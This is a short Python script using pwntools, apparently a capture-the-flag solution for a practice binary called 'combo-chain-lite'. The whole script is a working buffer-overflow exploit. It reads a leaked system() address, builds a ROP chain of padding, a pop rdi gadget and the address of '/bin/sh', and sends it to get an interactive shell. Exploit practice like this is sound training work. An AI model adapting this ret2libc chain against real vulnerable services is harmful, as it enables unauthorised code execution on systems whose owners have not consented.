#!/usr/bin/env python

from pwn import *

elf = ELF("./combo-chain-lite")
connection = process("./combo-chain-lite")
a = connection.recvline()

system_addr = p64(int(a.split(b": ")[1], 16))
binsh_gen = elf.search(b"/bin/sh")
binsh_addr = p64(next(binsh_gen))
pop_rdi = p64(0x00000000004007e3)

payload = b"A"*40
payload += pop_rdi
payload += binsh_addr
payload += system_addr

connection.recvuntil(": ")

pause()

connection.sendline(payload)
connection.interactive()

connection.close()
